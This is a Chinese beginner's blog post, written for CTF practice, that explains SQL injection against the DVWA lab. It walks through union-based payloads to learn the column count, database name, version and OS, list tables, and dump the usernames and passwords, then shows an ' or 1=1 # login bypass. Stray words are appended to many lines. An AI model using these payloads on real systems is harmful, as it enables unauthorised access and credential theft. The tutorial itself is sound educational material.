前言:最近打算玩一下CTF,玩過CTF的都知道SQL注入是CTF中最重要的題型。可是。。。。。。。。。不少大佬的WP都是一陣操做猛如虎。不少都不帶解釋的(大佬以爲簡單因此就不解釋了=_= =_= =_=)。因此這幾天一直都在看關於SQL注入的文章,一直也不理解SQL注入的原理。今天恰好看到了一篇文章,本身也跟着那個博主的思路總結一下,對SQL注入有了一個大概的的理解。寫這篇博文一是但願加深本身對SQL注入的理解二也但願能幫助那些還不是特別理解SQL注入的人mysql
參考 連接 https://www.jianshu.com/p/078df7a35671linux
SQL注入sql
一. Sql注入入門知識點總結數據庫
1) 設想這樣的一個場景當咱們要輸入一個用戶id,咱們輸入欄中輸入1ubuntu
這時候其實在後臺執行的代碼爲服務器
SELECT first_name, last_name FROM users WHERE user_id = '1';網站
2) 若是咱們不按常理出牌而是在輸入框中輸入1‘ order by 1#操作系統
那麼這時候後臺執行的代碼就變成了:orm
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的語法#起註釋做用因此#後面的單引號就被註釋掉了)blog
當咱們輸入order by 1的時候可能不會報錯那麼咱們這時候能夠嘗試 23456,直到報錯爲止
假如當數字等於3的時候報錯,那說明當前表只有兩個字段而且只有2列
Union select運算符能夠將兩個或者兩個以上的select語句查詢結果集合合併成一個結果集合顯示,即執行聯合查詢須要注意的是使用union查詢的時候須要和主查詢的列數相等,並且咱們以前已經知道主查詢的列數是2,接下來就好辦了
1) 這時候咱們輸入1‘ union select database(),user()#進行查詢
l Database()將會返回當前網站所使用的數據庫名字
l User()將會返回執行當前查詢的用戶名
實際執行的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;
經過查詢的結果咱們能夠清晰的看出
u 當前執行查詢用戶名爲root@localhost
u 當前使用的數據庫是dvwa
2) 接下來咱們嘗試獲取輸入1' union select version(),@@version_compile_os#進行查詢
u version() 獲取當前數據庫版本.
u @@version_compile_os 獲取當前操做系統
實際執行的sql語句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
db的版本以及操做系統的類型
u 當前數據庫版本爲 : 5.6.31-0ubuntu0.15.10.1.
u 當前操做系統爲 : debian-linux-gnu
3) 接下來咱們嘗試獲取dvwa數據庫中表名
information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器全部數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名爲 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。
咱們輸入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #
實際執行的的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
經過查詢的結果咱們能夠清晰的看出
l Dvwa數據庫有兩個數據表,分別是guestbook,和users
4) 接下來咱們嘗試獲取重量級用戶名和密碼
由經驗咱們能夠大膽猜想users數據表裏面的字段是user 和password因此輸入:
1’ union select user,password from users #
實際執行的的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
經過查詢的結果咱們能夠清晰的看出
l 用戶名以及密碼
二. Sql注入實驗二驗證繞過
如過咱們隨便輸入 好比 23 232 這時候會報錯
咱們能夠嘗試輸入 123 ‘ or 1=1 123 ‘ or 1=1
這時候咱們能夠看到
這時候咱們不由會想爲何呢?下面咱們就來分析一下
實際執行的的sql語句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照mysql的語法#後面的東西會被忽略掉因此即使咱們即使輸入 ‘ or 1=1 #(密碼欄不輸入東西結果也是同樣的)
因爲判斷語句 or 1=1 恆成立因此無論前面輸入的什麼都能成功登錄
咱們不在嘗試使用#屏蔽單引號,採用手動閉合式
123‘ or ‘1’ =’1 這樣一樣能登錄成功
後記:SQL注入須要大量的練習以及經驗的總結,這裏僅僅介紹了一些最基本的一些玩法,後面若是遇到一些好玩的注入我也會在這裏分享。
未完待續。。。。